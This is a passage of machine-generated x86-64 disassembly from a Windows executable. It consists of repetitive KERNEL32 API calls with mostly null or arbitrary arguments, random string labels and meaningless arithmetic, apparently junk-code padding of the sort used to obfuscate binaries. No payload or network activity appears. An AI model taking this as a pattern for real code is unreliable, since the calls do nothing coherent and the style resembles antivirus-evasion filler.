add rax, rcx
mov qword [rsp + 0x8f60], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.kqANHqnsRr2omiZ0oL0q0OzXBuyze
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x95e8], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov qword [rsp + 0x20], 0
mov r9d, 0x3bfb
mov r8d, 0x394f
mov edx, 0x9c
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x46c0], eax
mov rax, qword [rsp + 0x93e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf2c]
sub eax, ecx
mov rcx, qword [rsp + 0x8f20]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x95f0], rax
mov rax, qword [rsp + 0x8e00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x48b4]
sar eax, cl
mov dword [rsp + 0x44d8], eax
movsx eax, byte [rsp + 0x272]
movsx ecx, byte [rsp + 0x273]
shl eax, cl
mov rcx, qword [rsp + 0x9528]
mov byte [rcx], al
lea rdx, [rsp + 0x9278]
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4808], eax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4910], eax
movzx ecx, word [rsp + 0xf20]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef4], ax
mov qword [rsp + 0x20], 0
mov r9d, 0xc64
mov r8d, 0xd9b
mov edx, 0xf5
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x46c0], eax
lea rcx, [rsp + 0x1a468]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
lea rcx, [rsp + 0x8d40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r9d, r9d
lea r8, [rsp + 0x95d0]
mov rdx, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4914], eax
movzx eax, word [rsp + 0xa54]
mov word [rsp + 0xf48], ax
movzx eax, byte [0x140221039]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov eax, dword [rsp + 0x464c]
mov ecx, dword [rsp + 0x48cc]
xor ecx, eax
mov eax, ecx
mov dword [0x14022fb70], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4918], eax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
lea rax, [rsp + 0x8b08]
mov qword [rsp + 0x95f8], rax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4710]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9588]
mov dword [rcx], eax
mov rax, qword [0x14024f398]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x26a]
add eax, ecx
mov byte [rsp + 0x257], al
movsx eax, byte [rsp + 0x275]
mov rcx, qword [rsp + 0x9160]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x228], al
xor r9d, r9d
lea r8, [rsp + 0x8d10]
mov rdx, qword [rsp + 0x8df0]
mov rcx, qword [rsp + 0x9540]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x46ec], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x491c], eax
movzx ecx, word [rsp + 0xf08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf34], ax
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0x9598]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4920], eax
movzx ecx, word [rsp + 0xefc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef8], ax
mov rax, qword [rsp + 0x9518]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa54]
add eax, ecx
mov rcx, qword [rsp + 0x9518]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x38f3
mov r9d, 0x3b0
mov r8d, 0x31da
mov edx, 0x866
mov rcx, qword [rsp + 0x93c0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4808], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9600], rax
movzx eax, word [rsp + 0x6d8]
movzx ecx, word [rsp + 0xeec]
sub eax, ecx
mov word [rsp + 0x5cc], ax
movzx eax, byte [rsp + 0x205]
mov rcx, qword [0x14024f398]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14024f3a0], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov r9d, 0x150d
xor r8d, r8d
lea rdx, [rsp + 0x8d00]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4700], eax
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeec]
and eax, ecx
mov word [rsp + 0x9b8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xf20]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef4], ax
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4654]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40d4], eax
lea rax, [0x14024f3c0]
mov qword [rsp + 0x9608], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f10]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9080], rax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4910], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
movzx ecx, word [rsp + 0xee0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf4c], ax
movzx ecx, word [rsp + 0xef8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf20], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
movzx ecx, word [rsp + 0xf3c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf50], ax
mov eax, dword [rsp + 0x4878]
movzx ecx, al
mov eax, dword [rsp + 0x44d8]
sar eax, cl
mov dword [rsp + 0x4024], eax
lea rdx, [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x46f4], eax
mov dword [rsp + 0x1f920], 0x11c
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movzx ecx, word [rsp + 0xf20]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xee0], ax
lea rcx, [rsp + 0x8d50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x93c8]
movzx eax, word [rax]
mov word [rsp + 0xf54], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x278]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9528]
mov byte [rcx], al
lea rcx, [rsp + 0x9000]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rdx, [rsp + 0x9610]
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4918], eax
lea rcx, [0x140230408]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf10], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
lea rcx, [rsp + 0x8ee0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0x7a0]
mov qword [rsp + 0x9618], rax
movzx eax, byte [rsp + 0x270]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [0x14024f3a0], al
xor r9d, r9d
lea r8, [rsp + 0x8d40]
mov rdx, qword [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4924], eax
mov rcx, qword [rsp + 0x9328]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x7b18]
mov rcx, qword [rsp + 0x9208]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b08], rax
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9538]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
lea rax, [rsp + 0x93b0]
mov qword [rsp + 0x9620], rax
lea rcx, str.XtEjDtia_sB4h9UJSwfa6
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf58], ax
mov rax, qword [rsp + 0x9530]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x694]
imul eax, ecx
mov word [rsp + 0xf0c], ax
lea rcx, [rsp + 0x8f90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8d30], rax
mov eax, dword [rsp + 0x4890]
mov dword [rsp + 0x4928], eax
mov rax, qword [rsp + 0x9568]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x273]
and eax, ecx
mov byte [rsp + 0x272], al
mov rax, qword [rsp + 0x93c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9170]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc28], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x95a8], rax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x274], al
mov rax, qword [rsp + 0x93b8]
mov eax, dword [rax]
mov dword [0x14024f390], eax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x95b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x91f0]
mov qword [rcx], rax
lea rax, [rsp + 0xf00]
mov qword [rsp + 0x9628], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
movzx eax, byte [rsp + 0x1d3]
movzx ecx, byte [rsp + 0x274]
sub eax, ecx
mov byte [rsp + 0x277], al
mov rcx, qword [rsp + 0x9188]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4810], eax
lea rax, [rsp + 0x464c]
mov qword [rsp + 0x9630], rax
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf5c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x14022fb68]
mov ecx, dword [rsp + 0x4890]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4928], eax
movsx eax, byte [rsp + 0x228]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x273], al
movzx eax, word [rsp + 0xa54]
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0x9208]
mov rcx, qword [rsp + 0x7b18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8410], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movzx ecx, word [rsp + 0xefc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf5c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.viiWyQa63EMhDXVV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9638], rax
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x20], 0x382b
mov r9d, 0x177d
mov r8d, 0x202a
mov edx, 0x35af
mov rcx, qword [rsp + 0x95e8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4704], eax
lea rax, [rsp + 0x276]
mov qword [rsp + 0x9640], rax
movzx eax, word [rsp + 0x7a0]
mov rcx, qword [rsp + 0x8e58]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14024f3c8], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
mov rax, qword [rsp + 0x9630]
mov eax, dword [rax]
mov dword [rsp + 0x48e4], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
mov rax, qword [rsp + 0x9578]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x95e0]
sar rax, cl
mov qword [rsp + 0x8110], rax
mov rax, qword [rsp + 0x80e0]
movzx ecx, al
mov rax, qword [rsp + 0x7f10]
shl rax, cl
mov qword [rsp + 0x7b28], rax
mov rax, qword [rsp + 0x9518]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x93c8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf60], ax
movzx ecx, word [rsp + 0xf10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf08], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9650], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1d73
mov r9d, 0x19ca
mov r8d, 0xdf35d920
mov edx, 1
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4808], eax
lea rax, [rsp + 0x278]
mov qword [rsp + 0x9658], rax
lea rcx, [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0x8e00]
mov eax, dword [rax]
mov dword [rsp + 0x4878], eax
mov rax, qword [rsp + 0x95b0]
movzx eax, byte [rax]
mov rcx, qword [0x14024f398]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x8e78]
mov byte [rcx], al
lea rax, [rsp + 0x5cc]
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x93b8]
mov eax, dword [rax]
mov dword [0x14024f38c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9668], rax
mov rax, qword [rsp + 0x91f0]
mov rcx, qword [rsp + 0x94f8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9608]
mov qword [rcx], rax
lea rax, [rsp + 0x7f10]
mov qword [rsp + 0x9670], rax
mov rax, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0x93b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9170]
movzx eax, word [rax]
mov word [rsp + 0xf64], ax
lea rcx, str.67_7U
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf44], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
mov rax, qword [rsp + 0x8ce8]
mov rcx, qword [rsp + 0x93e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4668], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9678], rax
mov rax, qword [rsp + 0x9008]
mov rcx, qword [rsp + 0x8410]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x7b18], rax
lea rax, [rsp + 0x275]
mov qword [rsp + 0x9680], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
movzx eax, word [rsp + 0x9b8]
movzx ecx, word [rsp + 0x6d8]
and eax, ecx
mov word [rsp + 0xf0c], ax
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x8e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14024f3a4], eax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov byte [rsp + 0x279], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov r9d, 1
lea r8, [rsp + 0x8d40]
mov rdx, qword [rsp + 0x9610]
mov rcx, qword [rsp + 0x9540]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x492c], eax
lea rcx, str.HWskY8qOC_MhDmusW_MFu6
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x93e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9530]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rcx, [0x1402304a8]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf68], ax
movzx ecx, word [rsp + 0xf1c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf10], ax
movzx eax, byte [rsp + 0x277]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9640]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x47a0], eax
lea rcx, str.pBCG9G_B150Q_qBl2tBEhI8m
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf6c], ax
mov rax, qword [rsp + 0x93d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x272]
add eax, ecx
mov byte [rsp + 0x255], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0x8e00]
mov rcx, qword [rsp + 0x93e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4908], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x12c6
mov rcx, qword [rsp + 0x9668]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4930], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
movzx eax, word [rsp + 0xef0]
mov word [rsp + 0xf70], ax
mov eax, dword [rsp + 0x40d4]
mov dword [rsp + 0x4800], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov r9d, 1
lea r8, [rsp + 0x8d28]
mov rdx, qword [rsp + 0x8d28]
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4934], eax
mov rax, qword [0x14024f3b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeec]
add eax, ecx
mov word [rsp + 0x9b8], ax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14022103a], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov r9d, 0xe85
xor r8d, r8d
lea rdx, [rsp + 0x8e28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4938], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
lea rax, [0x14024f3c0]
mov qword [rsp + 0x9688], rax
mov dword [rsp + 0x20], 0x50c
mov r9d, 0x2664
mov r8d, 0x2474
mov edx, 0x1916
mov rcx, qword [rsp + 0x95c0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x48f4], eax
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x8110]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e30], rax
lea rax, [rsp + 0x80e0]
mov qword [rsp + 0x9690], rax
movzx eax, byte [rsp + 0x274]
movzx ecx, byte [rsp + 0x26f]
cdq
idiv ecx
mov byte [rsp + 0x26a], al
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x493c], eax
mov rax, qword [rsp + 0x9560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7b18]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8410], rax
mov eax, dword [rsp + 0x4314]
movzx ecx, al
mov eax, dword [rsp + 0x4764]
sar eax, cl
mov dword [rsp + 0x4120], eax
mov rax, qword [rsp + 0x9680]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x255]
or eax, ecx
mov rcx, qword [rsp + 0x9528]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x3717
mov r9d, 0x3236
mov r8d, 0x1a47
mov edx, 0x1888
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4704], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
mov r9d, 1
lea r8, [rsp + 0x9000]
mov rdx, qword [rsp + 0x9278]
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4940], eax
movzx ecx, word [rsp + 0xf24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf10], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x93c8]
movzx eax, word [rax]
mov word [rsp + 0xf74], ax
movzx ecx, word [rsp + 0xef4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf3c], ax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1f4a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4944], eax
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5cc]
shl eax, cl
mov word [0x14022fb6c], ax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4434]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x465c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov dword [rsp + 0x4948], eax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
imul eax, ecx
mov byte [rsp + 0x276], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
movzx ecx, word [rsp + 0xf1c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf5c], ax
mov rax, qword [0x14024f3b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5cc]
sub eax, ecx
mov rcx, qword [rsp + 0x9618]
mov word [rcx], ax
mov rax, qword [rsp + 0x9528]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x275]
sub eax, ecx
mov byte [rsp + 0x154], al
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x4864]
mov ecx, dword [0x14022fb5c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
lea rcx, str.OMR2
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf5c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
mov rax, qword [rsp + 0x93c8]
movzx eax, word [rax]
mov word [rsp + 0xf78], ax
mov edx, 0x2111
mov rcx, qword [rsp + 0x8ce0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4930], eax
mov rax, qword [rsp + 0x93b0]
mov rcx, qword [rsp + 0x94f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e30], rax
movzx eax, byte [rsp + 0x26a]
mov byte [0x14024f388], al
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9530]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf0c], ax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4654]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4590], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9698], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
movzx ecx, word [rsp + 0xf08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef8], ax
mov rax, qword [rsp + 0x95f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e30]
mov qword [rsp + 0x96a0], rax
mov rcx, qword [rsp + 0x8f68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x494c], eax
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
